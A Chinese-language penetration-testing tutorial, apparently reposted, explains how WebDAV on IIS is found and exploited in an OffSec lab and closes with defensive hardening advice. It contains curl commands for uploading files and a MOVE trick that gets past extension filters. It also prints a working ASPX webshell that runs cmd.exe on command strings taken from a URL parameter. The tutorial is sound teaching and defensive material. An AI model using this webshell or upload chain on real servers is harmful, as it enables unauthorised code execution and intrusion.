文章总结: 本文详细解析WebDAV协议在渗透测试中的利用原理,从IIS扫描结果识别PROPFIND、PUT等方法入手,阐述WebDAV作为HTTP扩展协议的文件管理功能及其风险本质——权限配置不当导致可写目录与脚本执行权限叠加。通过具体curl命令演示目录枚举、文件上传、MOVE绕过扩展名限制等实战步骤,并强调认证机制突破的重要性。最后从防御角度提出禁用非必要WebDAV、目录权限分离等关键建议。 综合评分: 85 文章分类: WEB安全,渗透测试,内网渗透,红队,漏洞分析
WebDAV 发现与利用原理:从一个 IIS 扫描结果说起(Hutch靶场)
原创
网安布道师 网安布道师
六边形攻防安全
2026年6月24日 07:30 河北
在小说阅读器读本章
去阅读
在渗透测试或靶场中,我们经常会遇到一些看起来“不起眼”的 HTTP 方法,比如 PROPFIND、PUT、MOVE、MKCOL。如果你在目标站点的响应中看到了这些方法,就要留意一个经典入口:「WebDAV」。在IIS6.0的时代,webdav很常见,比如下面的这个工具早些年做安全的同学可能用过,其实就是进行webdav利用的工具之一。
现在的网络环境中webdav比较少见,且一般需要认证,当年搞安全的时候只会用工具并不知道原理,那么今天就一起来研究下,webdav是什么?利用原理是什么,如果有认证又该如何利用?
下面以一个典型 IIS 扫描结果为例,梳理 WebDAV 的发现、原理和利用思路。
一、从扫描结果判断 WebDAV
假设我们对目标执行了如下扫描:
nmap -Pn --script http-webdav-scan,http-iis-webdav-vuln -p80 192.168.205.122
返回信息中出现了这些关键内容:
80/tcp open httpServer Type: Microsoft-IIS/10.0Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCKAllowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
这里最值得注意的是:
PROPPATCHMKCOLPUTDELETECOPYMOVELOCKUNLOCK
这些不是普通网站常见的 HTTP 方法,而是 WebDAV 相关方法。它们说明目标服务器很可能启用了 WebDAV 功能。
继续使用 curl 测试:
curl -i -X PROPFIND http://192.168.147.122/ -H "Depth: 1"
说明 WebDAV 入口存在,但需要认证。也就是说:「发现了 WebDAV,不等于可以直接利用;当前关键点是获取有效凭据。」
二、WebDAV 到底是什么
WebDAV 全称是:
Web Distributed Authoring and Versioning(web分布式编辑与版本管理)
它是 HTTP 协议的一组扩展。普通 HTTP 更多用于“浏览”和“提交”,比如:
GET 读取资源POST 提交数据HEAD 只获取响应头
WebDAV 则把 HTTP 扩展成了类似远程文件管理的协议。它允许客户端在服务器上查询目录、上传文件、删除文件、创建目录、移动文件和加锁。
常见 WebDAV 方法如下:
PROPFIND 查询文件或目录属性,类似 ls/dirPROPPATCH 修改资源属性MKCOL 创建目录PUT 上传或写入文件DELETE 删除文件COPY 复制文件MOVE 移动或重命名文件LOCK 加锁,避免多人编辑冲突UNLOCK 解锁
所以 WebDAV 本身并不是漏洞,它是一个功能。问题通常出现在权限配置不当。
三、一次 WebDAV 请求长什么样
例如列目录时,客户端可能发送:
PROPFIND / HTTP/1.1Host: 192.168.147.122Depth: 1Authorization: Basic xxxx
其中:
Depth: 0 只查询当前资源Depth: 1 查询当前目录及下一层资源
如果认证和授权都通过,服务器通常会返回:
HTTP/1.1 207 Multi-Status
响应体一般是 XML,包含文件名、目录名、大小、修改时间等属性。
上传文件时,请求大概是:
PUT /test.txt HTTP/1.1Host: 192.168.147.122Authorization: Basic xxxxContent-Length: 8
服务器收到后,会尝试把请求体写入 Web 目录中的 test.txt。
四、为什么 WebDAV 会变成利用点
WebDAV 的风险来自两个条件叠加:
1. WebDAV 目录允许写入2. 写入的目录可以被 Web 服务器执行脚本
以 IIS 为例,如果攻击者获得了 WebDAV 写权限,并且可以上传 .aspx 文件,那么就可能形成这样的链路:
通过 WebDAV 上传 shell.aspx ↓访问 http://target/shell.aspx ↓IIS 调用 ASP.NET 执行该文件 ↓获得代码执行能力
换句话说:
WebDAV 负责写文件IIS / ASP.NET 负责执行文件
真正危险的不是 WebDAV 方法本身,而是“可写目录”和“脚本执行权限”同时存在。
五、认证机制:为什么截图里无法直接上传
前面的测试中服务器返回了:
HTTP/1.1 401 UnauthorizedWWW-Authenticate: Basic realm="192.168.147.122"
这表示服务器要求认证,而且认证方式是 Basic Auth。
Basic Auth 的原理很简单:
Authorization: Basic base64(username:password)
例如:
admin:123456
会被 Base64 编码后放入 HTTP 请求头。
需要注意的是,Base64 不是加密。如果 Basic Auth 走的是 HTTP 明文传输,凭据在网络中可能被抓包看到。因此生产环境中如果必须使用 Basic Auth,至少应该配合 HTTPS。
对于渗透测试来说,这类结果意味着下一步重点不是直接上传,而是寻找有效凭据,例如:
nmap -sV -sC -p80,135,139,445,3389,5985 192.168.205.122
如果目标开放 SMB,也可以继续枚举:
enum4linux-ng 192.168.205.122smbclient -L //192.168.205.122/ -N
拿到凭据后,再回头验证 WebDAV 权限。
六、常见验证流程
1. 查看支持的方法
curl -i -X OPTIONS http://192.168.205.122/
关注响应头里的:
AllowPublicDAV
如果出现 PROPFIND、PUT、MOVE、MKCOL 等方法,就值得继续测试。
2. 测试目录枚举
无凭据:
curl -i -X PROPFIND http://192.168.205.122/ -H "Depth: 1"
有凭据:
curl -i -u user:password -X PROPFIND http://192.168.205.122/ -H "Depth: 1"
如果认证成功,常见成功响应是:
HTTP/1.1 207 Multi-Status
3. 测试普通文件上传
echo test > test.txtcurl -i -u user:password -T test.txt http://192.168.205.122/test.txt
再访问验证:
curl -i http://192.168.205.122/test.txt
如果可以访问到 test,说明至少具备普通文件写入能力。
4. 测试脚本文件是否执行
IIS 环境可以用一个最小 ASPX 测试文件:
cat > test.aspx <<'EOF'<%@ Page Language="C#" %><% Response.Write("webdav-ok"); %>EOF
上传:
curl -i -u user:password -T test.aspx http://192.168.147.122/test.aspx
访问:
curl http://192.168.147.122/test.aspx
如果输出:
webdav-ok
说明上传的 ASPX 被服务器执行,风险就很高。
如果能够上传成功,一般我们上传一个ASPX的webshell,例如
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){ string cmd = Request.QueryString["cmd"]; if (String.IsNullOrEmpty(cmd)) { Response.Write("usage: ?cmd=whoami"); return; } ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd); psi.RedirectStandardOutput = true; psi.RedirectStandardError = true; psi.UseShellExecute = false; Process p = Process.Start(psi); Response.Write("<pre>"); Response.Write(Server.HtmlEncode(p.StandardOutput.ReadToEnd())); Response.Write(Server.HtmlEncode(p.StandardError.ReadToEnd())); Response.Write("</pre>");}</script>
5. 如果直接上传脚本扩展被拦截
有些服务器允许上传 .txt,但禁止直接上传 .aspx、.php 等脚本扩展。这时可以验证 MOVE 是否可用:
curl -i -u user:password -T test.txt http://192.168.147.122/test.txt
然后尝试改名:
curl -i -u user:password -X MOVE \ -H "Destination: http://192.168.147.122/test.aspx" \ http://192.168.205.122/test.txt
如果改名成功,再访问:
curl http://192.168.147.122/test.aspx
这种方式常用于验证服务器是否只在上传阶段拦截扩展名,而没有在后续移动或重命名阶段做一致性检查。
七、WebDAV 只有 IIS 才有吗
不是。
WebDAV 是协议,IIS 只是其中一种实现。很多服务都可以支持 WebDAV:
Microsoft IISApache HTTP ServerNginx WebDAV 模块Tomcat / Jetty 等 Java Web 容器Nextcloud / ownCloudSabreDAVSharePoint部分 NAS,例如 Synology、QNAP
只是在渗透测试和靶场中,IIS + WebDAV 特别典型。原因是 IIS 原生支持 WebDAV 模块,而且 Windows Web 环境经常和 ASP.NET 结合:
WebDAV 上传文件IIS 执行 ASPX
Apache 上也可能出现类似风险:
WebDAV 上传 shell.phpApache + PHP 执行 shell.php
所以准确说:
WebDAV 是协议IIS、Apache、Nginx、NAS、网盘系统都可以实现
八、现实环境中 WebDAV 多吗
公网环境里,WebDAV 现在并不算常见,尤其是在新建业务系统中更少见。原因也很直接:
1. 风险高,写权限配置错误可能直接导致文件上传2. 替代方案多,例如 SFTP、SMB、对象存储、CI/CD 发布3. 运维习惯变化,公网 Web 根目录很少再开放远程写入4. 安全设备对 PUT、PROPFIND、MOVE 等方法比较敏感
但它并没有完全消失。真实环境中更容易在这些地方遇到:
内网文件协作系统NAS 远程文件访问SharePoint / Office 相关生态旧 CMS 或旧业务系统开发人员远程发布目录
公网大规模扫描时,能看到启用了 WebDAV 方法的主机,但真正允许匿名写入的比例很低。更多情况是:
WebDAV 已开启PROPFIND / PUT / MOVE 等方法存在但是需要认证
这和前面的示例一致。
九、防护建议
从防守角度看,WebDAV 的安全控制重点包括:
1. 不需要 WebDAV 时直接禁用2. 禁止匿名访问 WebDAV 目录3. 使用强认证,避免弱口令4. Basic Auth 必须配合 HTTPS5. WebDAV 写入目录不要具备脚本执行权限6. 限制 PUT、DELETE、MOVE、MKCOL 等高风险方法7. 使用请求过滤限制危险扩展名8. Web 目录和上传目录分离9. 记录并监控异常 HTTP 方法
对于 IIS,重点检查:
WebDAV Authoring RulesRequest FilteringHandler Mappings目录 NTFS 权限Authentication 配置Authorization Rules
安全配置的核心原则是:
允许上传的目录,不应该允许脚本执行。允许脚本执行的目录,不应该允许远程写入。
十、总结
WebDAV 的本质是 HTTP 上的远程文件管理协议。它让客户端可以通过 HTTP 方法对服务器文件进行查询、上传、删除、移动和加锁。
在渗透测试中,发现 WebDAV 后不要急着下结论。更准确的判断逻辑应该是:
发现 WebDAV 方法 ↓确认是否需要认证 ↓获取或验证有效凭据 ↓测试 PROPFIND 是否可列目录 ↓测试 PUT 是否可写文件 ↓测试脚本扩展是否可执行 ↓判断是否可以形成代码执行链
一句话概括:
发现 WebDAV 不等于存在漏洞;WebDAV + 有效凭据 + 可写目录 + 脚本执行权限,才是真正高价值的利用链。
本篇文章关于webdav的测试靶场链接:
https://portal.offsec.com/machine/hutch-604/overview/details
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:六边形攻防安全 网安布道师 网安布道师《WebDAV 发现与利用原理:从一个 IIS 扫描结果说起(Hutch靶场)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论